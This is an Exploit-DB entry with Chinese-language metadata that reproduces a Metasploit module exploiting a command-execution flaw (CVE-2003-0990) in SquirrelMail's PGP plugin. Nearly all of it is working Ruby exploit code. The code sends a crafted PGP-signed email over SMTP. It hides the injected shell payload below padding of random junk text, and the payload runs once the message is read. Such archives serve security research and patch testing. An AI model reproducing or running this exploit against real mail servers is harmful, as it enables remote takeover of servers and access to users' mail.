标题: SquirrelMail PGP Plugin - Command Execution (SMTP) (Metasploit) EDB-ID: 16888 CVE: 2003-0990 类型: REMOTE 平台: LINUX 发布日期: 2010-08-25 漏洞利用脚本: ##
# $Id: squirrelmail_pgp_plugin.rb 10148 2010-08-25 20:31:46Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ManualRanking

 #
 # This module sends email messages via smtp
 #
 include Msf::Exploit::Remote::SMTPDeliver

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SquirrelMail PGP Plugin command execution (SMTP)',
   'Description'    => %q{
     This module exploits a command execution vulnerability in the
    PGP plugin of SquirrelMail. This flaw was found while quickly
    grepping the code after release of some information at
    http://www.wslabi.com/. Later, iDefense published an advisory ....

    Reading an email in SquirrelMail with the PGP plugin activated
    is enough to compromise the underlying server.

    Only "cmd/unix/generic" payloads were tested.
   },
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10148 $',
   'Author'         => [ 'Nicob <nicob[at]nicob.net>' ],
   'References'     =>
    [
     ['CVE', '2003-0990'],
     ['OSVDB', '3178'],
     ['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'],
     ['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'],
     ['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'],
    ],
   'Stance'         => Msf::Exploit::Stance::Passive,
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'       => 1024,
     'BadChars'    => '',
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Targets'        =>
    [
     [ 'SquirrelMail PGP plugin < 2.1', {} ],
    ],
   'DisclosureDate' => 'Jul 9 2007',
   'DefaultTarget' => 0))

 end

 def mime_defaults()
  self.header.set("MIME-Version", "1.0")
  self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1")
  self.header.set("Subject", '') # placeholder
  self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z"))
  self.header.set("Message-ID",
   "<"+
   Rex::Text.rand_text_alphanumeric(rand(20)+40)+
   "@"+
   Rex::Text.rand_text_alpha(rand(20)+3)+
   ">"
   )
  self.header.set("From", '')    # placeholder
  self.header.set("To", '')      # placeholder
 end

 def exploit

  body =
   # Display some junk
   rand_text_alphanumeric(rand(128)+16) + "\n" +
   rand_text_alphanumeric(rand(128)+16) + "\n" +
   rand_text_alphanumeric(rand(128)+16) + "\n" +
   rand_text_alphanumeric(rand(128)+16) + "\n" +
   rand_text_alphanumeric(rand(128)+16) + "\n" +
   rand_text_alphanumeric(rand(128)+16) + "\n" +

   # Scroll down
   "\n" * (rand(100)+35) +

   # Escape filter and insert payload
   "AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n"

  sig =
   "-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " +
   rand_text_alphanumeric(rand(20)+54) + "\n" +
   rand_text_alphanumeric(rand(20)+34) + "\n" +
   "-----END PGP SIGNATURE-----\n"

  msg = Rex::MIME::Message.new
  msg.extend(MessageExtend)
  msg.mime_defaults
  msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
  msg.to = datastore['MAILTO']
  msg.from = datastore['MAILFROM']

  msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil)
  msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc")

  send_message(msg.to_s)

  print_status("Waiting for a payload session (backgrounding)...")
 end

end URL: https://www.exploit-db.com/exploits/16888